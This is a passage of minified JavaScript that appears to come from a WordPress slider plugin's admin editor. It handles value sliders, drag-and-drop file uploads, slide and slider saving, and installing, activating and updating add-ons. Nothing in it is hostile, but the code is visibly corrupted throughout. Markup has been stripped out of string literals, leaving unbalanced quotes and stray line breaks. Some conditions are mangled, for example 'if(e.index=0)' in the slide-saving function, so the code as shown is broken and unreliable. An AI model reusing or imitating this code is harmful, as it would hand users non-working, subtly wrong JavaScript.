e=this.parentElement.className.indexOf("open")>=0;jQuery(this).closest(".presets_liste").find(".presetssgroup.open").removeClass("open"),e?this.parentElement.classList.remove("open"):this.parentElement.className+=" open"}),S=!0),e.modern?{inner:i,main:t+"
"}:t+i+"
"},RVS.F.createMetaGroups=function(e){var t=0!==jQuery("#"+e.id).length,i=t?jQuery("#"+e.id):jQuery('
');for(var a in e.title=void 0===RVS_LANG[e.id]?e.id:RVS_LANG[e.id],t||i.append('
'+e.icon+""+e.title+'arrow_drop_down
'),e.actions)if(e.actions.hasOwnProperty(a)){var r=e.actions[a],o=void 0!==r.title?r.title:void 0===RVS_LANG["metadata_"+r.val]?r.val:RVS_LANG["metadata_"+r.val];r.inputs=void 0===r.inputs?"":r.inputs,r.inputs=!0===r.layerTarget?"#la_settings_layertarget"+(r.inputs.length>0?", "+r.inputs:""):r.inputs,i.append('
'+e.icon+""+o+"
"),r.layerTarget&&RVS.LIB.ACTION_WITH_TRGT.push(r.val),RVS.LIB.ACTIONTYPES[r.val]={inputs:r.inputs,name:o,icon:e.icon,layerTarget:r.layerTarget,media:r.media}}t||jQuery("#layeraction_list").append(i)},RVS.F.buildValueSliders=function(){var e=document.getElementsByClassName("withvalslider");for(var t in e)e.hasOwnProperty(t)&&RVS.F.buildValueSlider(e[t])},RVS.DOC.on("mouseenter",".withvalslider",function(){null==this.dataset.valslideradded&&(RVS.F.buildValueSlider(this),this.dataset.valslideradded=!0);var e=RVS.S.valSliders[this.dataset.inpid];e.done.style.width=(parseFloat(e.inp.value)-e.min)/e.range*e.width+"px",e.pin.style.left=e.done.style.width}),RVS.F.buildValueSlider=function(e){var t=e.getElementsByTagName("INPUT")[0];void 0===t.id&&(t.id="rs_valslider_"+Math.round(1e5*Math.random())),RVS.S.valSliders=void 0===RVS.S.valSliders?{}:RVS.S.valSliders,RVS.S.valSliders[t.id]={inp:t,con:RVS.F.cF(),wrap:RVS.F.cE({cN:"rs_vswrap"}),done:RVS.F.cE({cN:"rs_vsdone"}),rail:RVS.F.cE({cN:"rs_vsrail"}),pin:RVS.F.cE({cN:"rs_vspin"}),field:e};var i=RVS.S.valSliders[t.id];i.jpin=jQuery(i.pin),i.jinp=jQuery(t),e.dataset.inpid=t.id,i.con.appendChild(i.wrap),i.wrap.appendChild(i.rail),i.wrap.appendChild(i.done),i.wrap.appendChild(i.pin),e.appendChild(i.con),i.max=t.dataset.max||100,i.min=t.dataset.min||0,i.range=i.max-i.min,i.dez=t.dataset.dez||0,i.width=i.wrap.offsetWidth-9,i.jpin.draggable({axis:"x",containment:"parent",start:function(e,t){i.width=i.wrap.offsetWidth-9,i.lastprefix=(i.inp.value+"").indexOf("px")>=0?"px":(i.inp.value+"").indexOf("%")>=0?"%":(i.inp.value+"").indexOf("deg")>=0?"deg":"",i.wrap.classList.add("indrag")},stop:function(e,t){i.wrap.classList.remove("indrag")},drag:function(e,t){i.done.style.width=t.position.left+"px";var a=parseFloat(i.min)+i.range*(t.position.left/i.width);a=0==i.dez?Math.round(a):1==dez?10*Math.round(a/10):2==dez?100*Math.round(a/100):3==dez?1e3*Math.round(a/1e3):(dez,1e4*Math.round(a/1e4)),i.inp.value=a+i.lastprefix,i.jinp.trigger("change")}})},RVS.F.setUnsetSelected=function(e){void 0!==e.unselect&&RVS.F.setUnsetHelp(e.unselect.split(","),"remove","selected"),void 0!==e.select&&(null!=e.prval&&RVS.selLayers.length>0&&void 0!==RVS.L[RVS.selLayers[0]]&&(void 0===e.prvalif||RVS.L[RVS.selLayers[0]].type===e.prvalif)?e.val=RVS.F.getDeepVal({path:e.prval.split("#parentlayer#").join(RVS.L[RVS.selLayers[0]].group.puid)})||"":e.val=void 0!==e.val?e.val.split("\\").join("-").split(" ").join("-"):"",RVS.F.setUnsetHelp(e.select.split("*val*").join(e.val).split("*RVAL*").join(void 0!==e.rval?RVS.F.getDeepVal({path:e.rval}):"").split(","),"add","selected"))},RVS.F.setUnsetClass=function(e){void 0!==e.class&&void 0!==e.container&&null!==e.container&&(void 0!==e.rval&&e.rval===e.val||e.val?(e.container.classList.add(e.class),e.inversclass&&e.container.classList.remove(e.inversclass)):(e.container.classList.remove(e.class),e.inversclass&&e.container.classList.add(e.inversclass)))},RVS.F.setEnableDisable=function(e){if(void 0!==e.switch){var t="remove",i="add";void 0!==e.enable&&!1===e.val&&(t="add"),void 0!==e.disable&&!1===e.val&&(i="remove"),void 0!==e.enable&&RVS.F.setUnsetHelp(e.enable.split("*val*").join(e.val).split(","),t,"disablecontainer"),void 0!==e.disable&&RVS.F.setUnsetHelp(e.disable.split("*val*").join(e.val).split(","),i,"disablecontainer")}else void 0!==e.enable&&RVS.F.setUnsetHelp(e.enable.split("*val*").join(e.val).split(","),"remove","disablecontainer"),void 0!==e.disable&&RVS.F.setUnsetHelp(e.disable.split("*val*").join(e.val).split(","),"add","disablecontainer")},RVS.F.setUnAvailable=function(e){void 0!==e.available&&RVS.F.setUnsetHelp(e.available.split("*val*").join(e.val).split(","),"remove","unavailablecontainer"),void 0!==e.unavailable&&RVS.F.setUnsetHelp(e.unavailable.split("*val*").join(e.val).split(","),"add","unavailablecontainer")},RVS.F.initPreDrops=function(e){void 0===e&&jQuery(".predrop_wrap").each(function(){var e=jQuery(this);if(!e.hasClass("inited")){e.append('
    ');e.data(),e.find(".predrop_ul")}})},RVS.F.fullPageInfo={init:function(e){var t=jQuery('
    '+e.content+'
    close
    ');jQuery("#wpwrap").addClass("blurred"),jQuery(document.body).append(t),tpGS.gsap.fromTo(t,.4,{autoAlpha:0,scale:.9},{autoAlpha:1,scale:1,ease:"power3.inOut"})},close:function(){jQuery("#fullpageinfo").remove(),jQuery("#wpwrap").removeClass("blurred")}},RVS.F.browserDroppable={init:function(e){e.textblock='
    ',e.textblock+='\t
    ',e.textblock+='\t\t
    ',e.textblock+='\t\t\t',e.textblock+='\t\t\tfile_download',e.textblock+='\t\t\t
    '+RVS_LANG.dragAndDropFile+"
    ",!0!==e.onlydrop&&(e.textblock+='\t\t\t
    '+RVS_LANG.or+"
    "),!0!==e.onlydrop&&(e.textblock+='\t\t\t"),e.textblock+="\t\t
    ",e.textblock+='\t\t
    ',e.textblock+='\t\t\tfile_download',!0!==e.onlydrop?e.textblock+='\t\t\t
    '+RVS_LANG.releaseToUpload+"
    ":e.textblock+='\t\t\t
    '+RVS_LANG.releaseToAddLayer+"
    ",!0!==e.onlydrop&&(e.textblock+='\t\t\t
    '+RVS_LANG.moduleZipFile+"
    "),e.textblock+="\t\t
    ",e.textblock+='\t\t
    ',e.textblock+='\t\t\tautorenew',e.textblock+='\t\t\t
    '+RVS_LANG.importing+"
    ",e.textblock+=' \t\t\t
    ',e.textblock+="\t\t\t
    ",e.textblock+="\t\t
    ",e.textblock+='\t\t
    close
    ',e.textblock+="\t
    ",e.textblock+="
    ",RVS.fileDrop=jQuery(e.textblock),RVS.fileDropForm=RVS.fileDrop.find("#filedrop_zone"),tpGS.gsap.fromTo(RVS.fileDrop,.3,{autoAlpha:0,scale:.9},{zIndex:5e6,autoAlpha:1,scale:1,ease:"power3.inOut"}),jQuery(document.body).append(RVS.fileDrop),void 0===RVS.fileDropListener&&(jQuery("html").on("dragover drop dragleave dragend",function(e){clearTimeout(window.htmldragout),"drop"===e.type?(jQuery("#filedrop").remove(),jQuery("#wpwrap").removeClass("blurred")):"dragleave"===e.type&&(window.htmldragout=setTimeout(function(){0==RVS.S.overFileDropZone&&(tpGS.gsap.to(RVS.fileDrop,.3,{autoAlpha:0,scale:.9,ease:"power3.inOut"}),jQuery("#wpwrap").removeClass("blurred"))},50)),e.preventDefault(),e.stopPropagation()}).on("dragenter",function(){RVS.S.overFileDropZone=!1,!0!==e.onlydrop&&jQuery("#wpwrap").addClass("blurred"),!0===e.onlydrop&&(tpGS.gsap.set(RVS.fileDropForm,{width:RVS.S.editorSize.w-50,height:RVS.S.editorSize.h-50,top:90,left:41,xPercent:0,yPercent:0}),tpGS.gsap.set(RVS.fileDrop,{background:"transparent"})),tpGS.gsap.to(RVS.fileDrop,.3,{autoAlpha:1,scale:1,ease:"power3.inOut"})}),RVS.fileDropForm.on("drag dragstart dragend dragover dragenter dragleave drop",function(e){e.preventDefault(),e.stopPropagation()}).on("dragover dragenter",function(e){RVS.S.overFileDropZone=!0,RVS.fileDropForm[0].className="is-dragover"}).on("dragleave dragend",function(){RVS.S.overFileDropZone=!1,RVS.fileDropForm[0].className=""}).on("drop",function(t){for(var i in RVS.fileDropForm[0].className="is-processing",jQuery("#importing_processing_files").html(""),t.originalEvent.dataTransfer.files)if(t.originalEvent.dataTransfer.files.hasOwnProperty(i)&&"object"==typeof t.originalEvent.dataTransfer.files[i]){var a=t.originalEvent.dataTransfer.files[i].name+" ("+Math.round(t.originalEvent.dataTransfer.files[i].size/1024)+"kb)";jQuery("#importing_processing_files").append('
    '+a+'
    ')}"custom"===e.type?e.callBack({files:t.originalEvent.dataTransfer.files,fileindex:0,report:"#fileprocessing_",success:e.success}):RVS.F.uploadFiles({form:RVS.fileDropForm,files:t.originalEvent.dataTransfer.files,fileindex:0,report:"#fileprocessing_",success:e.success,action:e.action})}),jQuery("#file").on("change",function(t){for(var i in RVS.fileDropForm[0].className="is-processing",t.target.files)if(t.target.files.hasOwnProperty(i)&&"object"==typeof t.target.files[i]){var a=t.target.files[i].name+" ("+Math.round(t.target.files[i].size/1024)+"kb)";jQuery("#importing_processing_files").append('
    '+a+'
    ')}"custom"===e.type?e.callBack({files:t.target.files,fileindex:0,report:"#fileprocessing_",success:e.success}):RVS.F.uploadFiles({form:RVS.fileDropForm,files:t.target.files,fileindex:0,report:"#fileprocessing_",success:e.success,action:e.action})}))},close:function(){jQuery("#filedrop").remove(),jQuery("#wpwrap").removeClass("blurred")}},RVS.F.uploadFiles=function(e){e.fileindex=void 0===e.fileindex?0:e.fileindex,jQuery(e.report+e.fileindex).find(".fileupload_status").html("autorenew").addClass("rotating");var t=new FormData;t.append("import_file",e.files[e.fileindex]),t.append("action",RVS.ENV.ajax_pre+"_ajax_action"),t.append("client_action",void 0===e.action?"import_slider":e.action),t.append("nonce",RVS.ENV.nonce),void 0!==e.customs&&t.append("customs",JSON.stringify(e.customs)),jQuery.ajax({url:ajaxurl,type:"post",contentType:!1,processData:!1,data:t,success:function(t){(t=JSON.parse(t)).success?(jQuery(e.report+e.fileindex).find(".fileupload_status").html("done").removeClass("rotating").addClass("doneupload"),void 0!==e.success&&RVS.DOC.trigger(e.success,t)):(e.anyError=!0,jQuery(e.report+e.fileindex).find(".fileupload_status").html("priority_high").removeClass("rotating").addClass("errorupload"),jQuery(e.report+e.fileindex).find(".fileupload_message").html(t.message)),e.fileindex++,e.files.length>e.fileindex?RVS.F.uploadFiles(e):!0!==e.anyError?(jQuery("#file_upload_mininfo").html(RVS_LANG.successImportFile),jQuery("#file_upload_processicon").removeClass("rotating").addClass("done").html("done"),void 0!==e.successFinal&&RVS.DOC.trigger(e.successFinal,t),setTimeout(function(){RVS.F.browserDroppable.close()},500)):(jQuery("#file_upload_mininfo").html(RVS_LANG.importReport),jQuery("#file_upload_processicon").removeClass("rotating").addClass("error").html("error"))},error:function(t){e.anyError=!0,jQuery(e.report+e.fileindex).find(".fileupload_status").html("priority_high").removeClass("rotating").addClass("errorupload"),jQuery(e.report+e.fileindex).find(".fileupload_message").html(t.message),e.fileindex++,e.files.length>e.fileindex?RVS.F.uploadFiles(e):!0!==e.anyError?(jQuery("#file_upload_mininfo").html(RVS_LANG.successImportFile),jQuery("#file_upload_processicon").removeClass("rotating").addClass("done").html("done"),setTimeout(function(){RVS.F.browserDroppable.close()},500)):(jQuery("#file_upload_mininfo").html(RVS_LANG.importReport),jQuery("#file_upload_processicon").removeClass("rotating").addClass("error").html("error"))}})},RVS.F.slideinWork=function(e){RVS.SLIDER.inWork=void 0===RVS.SLIDER.inWork?[]:RVS.SLIDER.inWork,-1===jQuery.inArray(e,RVS.SLIDER.inWork)&&-1===jQuery.inArray(""+e,RVS.SLIDER.inWork)&&RVS.SLIDER.inWork.push(""+e)},RVS.F.convertIDStoTxt=function(){for(var e in RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(e)&&(RVS.SLIDER.slideIDs[e]=""+RVS.SLIDER.slideIDs[e]);for(var e in RVS.SLIDER.inWork)RVS.SLIDER.inWork.hasOwnProperty(e)&&(RVS.SLIDER.inWork[e]=""+RVS.SLIDER.inWork[e])},RVS.F.saveSlides=function(e){if(e.index=0){try{RVS.F.compareLayerAnimPresets(RVS.SLIDER[e.slides[e.index]].layers)}catch(e){console.log(e)}var a=JSON.stringify(RVS.F.simplifySlide(RVS.SLIDER[e.slides[e.index]].slide)),r=JSON.stringify(RVS.F.simplifyAllLayer(RVS.SLIDER[e.slides[e.index]].layers));if(RVS.F.compareLayerAnimPresets,!0===e.force||void 0===RVS.S.lastSaved||void 0===RVS.S.lastSaved[t]||a!==RVS.S.lastSaved[t].params||r!==RVS.S.lastSaved[t].layers){var o={slider_id:RVS.ENV.sliderID,slide_id:e.slides[e.index],params:a,layers:r,slide_order:e.order};RVS.DOC.trigger("rs_save_slide_params",[o]),RVS.F.ajaxRequest("save_slide",o,function(i){i.success&&(RVS.S.lastSaved=void 0===RVS.S.lastSaved?{}:RVS.S.lastSaved,RVS.S.lastSaved[t]={params:a,layers:r},e.index++,RVS.F.saveSlides(e))},void 0,void 0,RVS_LANG.saveslide+'
    "'+RVS.SLIDER[e.slides[e.index]].slide.title+'"')}else e.index++,RVS.F.saveSlides(e)}else e.index++,RVS.F.saveSlides(e)}else RVS.SLIDER.inWork=[],RVS.F.slideinWork(RVS.S.slideId),RVS.S.need_to_save=!1,void 0!==e.trigger&&e.trigger()},RVS.F.convertArrayToObjects=function(){RVS.SLIDER.settings.nav.arrows.presets=Object.assign({},RVS.SLIDER.settings.nav.arrows.presets),RVS.SLIDER.settings.nav.bullets.presets=Object.assign({},RVS.SLIDER.settings.nav.bullets.presets),RVS.SLIDER.settings.nav.thumbs.presets=Object.assign({},RVS.SLIDER.settings.nav.thumbs.presets),RVS.SLIDER.settings.nav.tabs.presets=Object.assign({},RVS.SLIDER.settings.nav.tabs.presets),void 0!==RVS.SLIDER.settings.skins&&void 0!==RVS.SLIDER.settings.skins.colors&&(RVS.SLIDER.settings.skins.colors=Object.assign({},RVS.SLIDER.settings.skins.colors))},RVS.F.saveSliderSettings=function(){var e=JSON.stringify(RVS.SLIDER.settings),t=RVS.SLIDER.slideIDs.slice(),i=-1;for(var a in t)t.hasOwnProperty(a)&&(""+t[a]).indexOf("static")>=0&&(i=a);t.splice(i,1),RVS.F.ajaxRequest("save_slider",{slider_id:RVS.ENV.sliderID,params:e,slide_ids:t},function(e){e.success&&void 0!==e.missing&&e.missing.length>0&&RVS.F.saveSlides({index:0,slides:RVS.SLIDER.slideIDs,works:e.missing}),e.success&&RVS.DOC.trigger("slidersaved")},void 0,void 0,RVS_LANG.saveslide+'
    '+RVS_LANG.slidersettings+"")},RVS.F.getAllSliderDatas=function(){RVS.F.convertIDStoTxt();var e={slider:JSON.stringify(RVS.SLIDER.settings),slide_order:JSON.stringify(RVS.SLIDER.slideIDs)},t=RVS.SLIDER.slideIDs.slice();for(var i in t)if(t.hasOwnProperty(i)){var a=!1,r=t[i];RVS.SLIDER.settings.general.useWPML&&void 0!==RVS.SLIDER[r]&&void 0!==RVS.SLIDER[r].slide&&void 0!==RVS.SLIDER[r].slide.child&&""!==RVS.SLIDER[r].slide.child.parentId&&void 0!==RVS.SLIDER[r].slide.child.parentId&&-1===jQuery.inArray(""+RVS.SLIDER[r].slide.child.parentId,RVS.SLIDER.slideIDs)&&(a=!0),!0!==a&&(e[t[i]]={params:JSON.stringify(RVS.F.simplifySlide(RVS.SLIDER[t[i]].slide)),layers:JSON.stringify(RVS.F.simplifyAllLayer(RVS.SLIDER[t[i]].layers))})}return e},RVS.F.addOnContainer={create:function(e){if(e.slug&&e.icon&&e.alias){var t="";!0===e.slider&&(jQuery("#gst_sl_collector").append('"),t+=b({a:"slider_general_collector",f:"#gst_sl_",b:"sliderconfig",c:"slider_settings",d:"form_module_"+e.slug,title:e.title,e:"form_slidergeneral_"+e.slug,slug:e.slug})),!0===e.layer&&(jQuery("#gst_layer_collector").append('"),t+=b({a:"layer_settings_collector",f:"#gst_layer_",b:"layersconfig",c:"layer_settings",d:"form_layer_"+e.slug,title:e.title,e:"form_layerinner_"+e.slug,slug:e.slug})),!0===e.slide&&(jQuery("#slide_menu_gso_wrap").append('"),t+=b({a:"slide_settings_collector",f:"#gst_slide_",b:"slideconfig",c:"slide_settings",d:"form_slide_"+e.slug,title:e.title,e:"form_slidegeneral_"+e.slug,slug:e.slug})),void 0!==RVS.C.theRightToolbar&&RVS.C.theRightToolbar.append(t)}}},RVS.F.buildSingleAddonElement=function(e,t){if(void 0===e||""===e||0===e)return"";var i='
    ';i+='
    ',""===e.logo.img&&(i+='
    '+e.logo.text+"
    "),i+="
    ",""!==e.logo.img&&(i+='
    '),e.installed&&e.active||(e.installed?i+="":i+='
    '+RVS_LANG.notinstalled+"
    ",i+='
    ');var a=e.active&&RVS.LIB.ADDONS[t].enable?"block":"none",r=RVS_LANG.enabled;return i+=void 0!==RVS.ENV.addOns_to_update[t]&&!0!==RVS.ENV.addOns_to_update[t].updated||e.installed'+RVS_LANG.actionneeded+"
    ":'
    '+r+"
    ",i+="
    ",i+='
    '+e.title+"
    ",i+=""},RVS.F.buildAddonList=function(e,t){var i="",a=0,r=!0;for(var o in RVS.LIB.ADDONS=void 0===RVS.LIB.ADDONS?{}:RVS.LIB.ADDONS,e)e.hasOwnProperty(o)&&(RVS.LIB.ADDONS[o]=void 0===RVS.LIB.ADDONS[o]?{}:RVS.LIB.ADDONS[o],RVS.LIB.ADDONS[o].enable=RVS.S.ovMode?e[o].global?RVS.LIB.ADDONS[o].enable:void 0:e[o].global?RVS.LIB.ADDONS[o].enable:void 0!==RVS.SLIDER.settings.addOns[o]&&RVS.SLIDER.settings.addOns[o].enable,RVS.LIB.ADDONS[o].enable=0!==RVS.LIB.ADDONS[o].enable&&"0"!==RVS.LIB.ADDONS[o].enable&&(1===RVS.LIB.ADDONS[o].enable||"1"===RVS.LIB.ADDONS[o].enable||(0===RVS.LIB.ADDONS[o].enable||RVS.LIB.ADDONS[o].enable)),"update"!==t&&(void 0!==RVS.LIB.ADDONS[o].sort&&null!=RVS.LIB.ADDONS[o].releaseid||(r=!1),i+=RVS.F.buildSingleAddonElement(e[o],o),delete RVS.LIB.ADDONS[o].el,RVS.LIB.ADDONS[o].el=void 0),RVS.LIB.ADDONS_LIST[o]=jQuery.extend(!0,{},e[o]),RVS.LIB.ADDONS[o].installed=RVS.LIB.ADDONS_LIST[o].installed,RVS.LIB.ADDONS[o].order=a,a++);"update"!==t&&(jQuery("#rbm_addonlist").append(i),RVS.F.RSDialog.center(),r?jQuery("#sel_addon_sorting").val("pop").ddTP("change"):jQuery('.ddTP.ddTP_C.ddTP-fake.ddTP_C--autowidthinmodal[data-refid="sel_addon_sorting"]').hide(),jQuery("#sel_addon_filtering").val("all").ddTP("change"),document.getElementById("searchaddons").value=""),requestAnimationFrame(RVS.F.redrawAddonList)},RVS.F.redrawAddonList=function(){null!=RVS.S.addonPrefilter&&(jQuery("#sel_addon_filtering").val(RVS.S.addonPrefilter).ddTP("change"),requestAnimationFrame(RVS.F.redrawAddonList),delete RVS.S.addonPrefilter);var e=document.getElementById("sel_addon_sorting").value,t=document.getElementById("sel_addon_filtering").value,i=[];for(n in RVS.LIB.ADDONS)i.push(RVS.LIB.ADDONS[n]),i[i.length-1].title=i[i.length-1].title.replace("(","").replace(")","");switch(e){case"popdesc":i.sort(function(e,t){return parseInt(t.sort,0)-parseInt(e.sort,0)});break;case"pop":i.sort(function(e,t){return parseInt(e.sort,0)-parseInt(t.sort,0)});break;case"datedesc":i.sort(function(e,t){return t.releaseid-e.releaseid});break;case"date":i.sort(function(e,t){return e.releaseid-t.releaseid});break;case"title":i.sort(function(e,t){return e.title.toUpperCase().localeCompare(t.title.toUpperCase())});break;case"titledesc":i.sort(function(e,t){return t.title.toUpperCase().localeCompare(e.title.toUpperCase())});break;default:i.sort(function(e,t){return e.order-t.order})}var a=jQuery("#searchaddons").val().toLowerCase();for(n in i)if(i.hasOwnProperty(n)){var r=i[n],o=a.length<3||a.length>2&&(r.title.toLowerCase().indexOf(a)>=0||r.line_1.toString().toLowerCase().indexOf(a)>=0||r.line_1.toString().toLowerCase().indexOf(a)>=0),s="all"==t||"action"==t&&void 0!==RVS.ENV.addOns_to_update[r.slug]&&!0!==RVS.ENV.addOns_to_update[r.slug].updated||r.installed"'+RVS_LANG.installingaddon+'"')}),RVS.DOC.on("click",".ale_i_activateaddon",function(){if("true"===RVS.ENV.activated||!0===RVS.ENV.activated){var e=this.dataset.slug,t=e.replace(/-/g,"_"),i=jQuery("#ale_"+e+" .rs_alethumb_img");RVS.LIB.ADDONS_LIST[e].global||RVS.S.ovMode||(RVS.SLIDER.settings.addOns[e]=void 0===RVS.SLIDER.settings.addOns[e]?{}:RVS.SLIDER.settings.addOns[e],RVS.SLIDER.settings.addOns[e].enable=!0,RVS.LIB.ADDONS[e].enable=!0),RVS.F.ajaxRequest("activate_addon",{addon:e},function(a){a.success&&(RVS.LIB.ADDONS_LIST[e].active=!0,window[t]=a[e],"undefined"==typeof revbuilder||void 0!==RVS.SLIDER.settings&&RVS.SLIDER.settings.addOns.hasOwnProperty(e)?window[t].enabled=RVS.F._d(RVS.F._truefalse(window[t].enabled),!RVS.S.ovMode&&(void 0!==RVS.SLIDER.settings.addOns[e]&&RVS.SLIDER.settings.addOns[e].enable)):window[t].enabled=!0,tpGS.gsap.fromTo(i,2,{zIndex:"13",clip:"rect(95px 95px 95px 95px)"},{clip:"rect(0px 190px 190px 0px)"}),jQuery("#ale_"+e+" .rs_ale_enabled").show(),RVS.F.showAddonInfos(e),RVS.F.addonInstalledOnDemand(e),RVS.F.loadCSS(RVS.ENV.wp_plugin_url+e+"/admin/assets/css/"+e+"-admin.css"),jQuery.getScript(RVS.ENV.wp_plugin_url+e+"/admin/assets/js/"+e+"-admin.js",function(){RVS.F.showAddonInfos(e),!RVS.S.ovMode&&RVS.LIB.ADDONS[e].enable&&RVS.DOC.trigger(e+"_init")}).fail(function(e,t,i){console.log(i)}))},void 0,void 0,RVS_LANG.addon+'
    "'+RVS_LANG.activatingaddon+'"')}}),RVS.DOC.on("click","#process_all_addon_updates",function(){}),RVS.DOC.on("click","#check_addon_updates",function(){RVS.F.ajaxRequest("check_for_updates",{},function(e){e.success&&(RVS.ENV.latest_version=e.version,delete RVS.LIB.ADDONS_LIST,document.getElementById("rbm_addonlist").innerHTML="",RVS.F.loadAddonList())})}),RVS.DOC.on("click",".ale_i_enableaddon",function(){var e=this.dataset.slug;!0!==RVS.LIB.ADDONS_LIST[e].global?(RVS.SLIDER.settings.addOns[e]=void 0===RVS.SLIDER.settings.addOns[e]?{}:RVS.SLIDER.settings.addOns[e],RVS.SLIDER.settings.addOns[e].enable=!0,RVS.LIB.ADDONS[e].enable=!0,RVS.DOC.trigger(e+"_init"),RVS.F.showAddonInfos(e),jQuery("#ale_"+this.dataset.slug+" .rs_ale_enabled").show()):RVS.F.ajaxRequest("wp_ajax_enable_"+e,{},function(t){RVS.LIB.ADDONS[e].enable=!0,RVS.DOC.trigger(e+"_init"),RVS.F.showAddonInfos(e),jQuery("#ale_"+e+" .rs_ale_enabled").show()},void 0,void 0,RVS_LANG.addon+'
    "'+RVS_LANG.enablingaddon+'"')}),RVS.DOC.on("click",".ale_i_disableaddon",function(){var e=this.dataset.slug;RVS.LIB.ADDONS_LIST[e].global?RVS.F.ajaxRequest("wp_ajax_disable_"+e,{},function(t){RVS.LIB.ADDONS[e].active=!1,RVS.LIB.ADDONS[e].enable=!1,RVS.DOC.trigger(e+"_init"),RVS.F.showAddonInfos(e),jQuery("#ale_"+e+" .rs_ale_enabled").hide()},void 0,void 0,RVS_LANG.addon+'
    "'+RVS_LANG.disablingaddon+'"'):(RVS.SLIDER.settings.addOns[e].enable=!1,RVS.DOC.trigger(e+"_init"),RVS.LIB.ADDONS[e].enable=!1,RVS.F.showAddonInfos(e),jQuery("#ale_"+this.dataset.slug+" .rs_ale_enabled").hide())}),RVS.DOC.on("click",".ale_i_updateaddon",function(){var e=this.dataset.slug;RVS.F.ajaxRequest("activate_addon",{addon:e,update:!0},function(t){t.success&&(void 0!==RVS.ENV.addOns_to_update[e]&&!0!==RVS.ENV.addOns_to_update[e].updated&&(RVS.ENV.addOns_to_update[e].updated=!0),delete RVS.LIB.ADDONS_LIST,document.getElementById("rbm_addonlist").innerHTML="",RVS.F.loadAddonList(e))},void 0,void 0,RVS_LANG.addon+'
    "'+RVS_LANG.updatingaddon+" "+e+'"')}),RVS.DOC.on("click",".ale_i_allupdateaddon",function(){RVS.F.checkForAddonsActionNeeded(),RVS.F.updateAddonsInRow()}),RVS.DOC.on("click","#rbm_configpanel_savebtn",function(){RVS.DOC.trigger("save_"+this.dataset.slug)})),RVS.F.RSDialog.create({modalid:"rbm_addons",bgopacity:.85}),jQuery("#rbm_addonlist, #rbm_addon_details").RSScroll({suppressScrollX:!0}),RVS.F.checkForAddonsActionNeeded()},RVS.F.checkForAddonsActionNeeded=function(){for(var e in RVS.S.slugsToUpdate=[],RVS.C.PRALADUP=null==RVS.C.PRALADUP||null==RVS.C.PRALADUP||0==RVS.C.PRALADUP.length?document.getElementById("process_all_addon_updates"):RVS.C.PRALADUP,RVS.LIB.ADDONS)RVS.LIB.ADDONS[e].available>RVS.LIB.ADDONS[e].installed&&RVS.S.slugsToUpdate.push(RVS.LIB.ADDONS[e].slug);RVS.S.slugsToUpdate.length>0?RVS.C.PRALADUP.style.display="inline-block":RVS.C.PRALADUP.style.display="none"},RVS.F.updateAddonsInRow=function(){if(RVS.S.slugsToUpdate.length>0){var e=RVS.S.slugsToUpdate[0];RVS.F.ajaxRequest("activate_addon",{addon:e,update:!0},function(t){t.success&&(void 0!==RVS.LIB.ADDONS&&void 0!==RVS.LIB.ADDONS[e]&&(RVS.LIB.ADDONS[e].installed=RVS.LIB.ADDONS[e].available),void 0!==RVS.LIB.ADDONS_LIST&&void 0!==RVS.LIB.ADDONS_LIST[e]&&(RVS.LIB.ADDONS_LIST[e].installed=RVS.LIB.ADDONS_LIST[e].available)),RVS.S.slugsToUpdate.splice(0,1),RVS.F.updateAddonsInRow()},void 0,void 0,RVS_LANG.addon+'
    "'+RVS_LANG.updatingaddon+" "+e+'"')}else delete RVS.LIB.ADDONS_LIST,document.getElementById("rbm_addonlist").innerHTML="",RVS.F.loadAddonList(e),RVS.C.PRALADUP.style.display="none",RVS.F.notifications&&RVS.F.notifications()},RVS.F.showAddonInfos=function(e){if(void 0!==RVS.LIB.ADDONS_LIST&&void 0!==RVS.LIB.ADDONS_LIST[e]){var t='
    ',i=RVS.LIB.ADDONS_LIST[e],a=i.active?i.global?RVS_LANG.enableglobaladdon:RVS_LANG.enableaddon:i.global?RVS_LANG.activateglobaladdon:RVS_LANG.activateaddon,r=i.global?RVS_LANG.disableglobaladdon:RVS_LANG.disableaddon;t+='
    ',t+='
    '+i.title+"
    ",t+='
    '+i.line_1+" "+i.line_2+"
    ",t+='
    ',RVS.S.ovMode&&!i.global&&i.active&&i.installed?t+='
    error_outline'+RVS_LANG.addonOnlyInSlider+"
    ":RVS.F.compareVersions(i.version_from,RVS.ENV.revision)?i.installed?i.active?RVS.LIB.ADDONS[e].enable?t+='
    remove_circle_outline'+r+"
    ":RVS.S.ovMode&&!i.global?t+="":t+='
    power_settings_new'+a+"
    ":t+='
    power_settings_new'+a+"
    ":t+='
    get_app'+RVS_LANG.install_and_activate+"
    ":t+='
    error_outline'+RVS_LANG.checkforrequirements+"
    ",t+="
    ",t+='
    ',t+='
    ',t+="",t+="",t+='
    '+RVS_LANG.installedversion+"
    ",!1===i.installed?t+='
    '+RVS_LANG.notinstalled+"
    ":t+='
    '+(!0===i.installed?void 0===i.available?RVS_LANG.availableversion:i.available:i.installed)+"
    ",t+="
    ",t+="",t+='
    '+RVS_LANG.availableversion+"
    ",t+='
    '+i.available+"
    ",t+="
    ",t+="
    ",t+='
    ',t+='
    '+RVS_LANG.requirements+"
    ",RVS.F.compareVersions(i.version_from,RVS.ENV.revision)?t+='
    check'+RVS_LANG.sliderrevversion+" "+i.version_from+"
    ":t+='
    error_outline'+RVS_LANG.sliderrevversion+" "+i.version_from+"
    ",!1!==i.installed&&!0===RVS.F.compareVersions(i.installed,i.available,"<")&&(t+='
    ',t+='
    get_app'+RVS_LANG.updateNow+"
    "),t+="
    ",t+='
    ',t+='
    ',document.getElementById("rbm_addon_details").innerHTML=t,RVS.F.configPanelSaveButton({show:!1,slug:e}),i.active&&RVS.DOC.trigger(i.slug+"_config",{container:"addon_configuration_subpanel"})}},RVS.F.configPanelSaveButton=function(e){var t=document.getElementById("rbm_configpanel_savebtn");!0===e.show?(t.style.display="block",t.dataset.slug=e.slug):t.style.display="none"},RVS.F.compareVersions=function(e,t,i){if(void 0===e||void 0===t)return!1;var 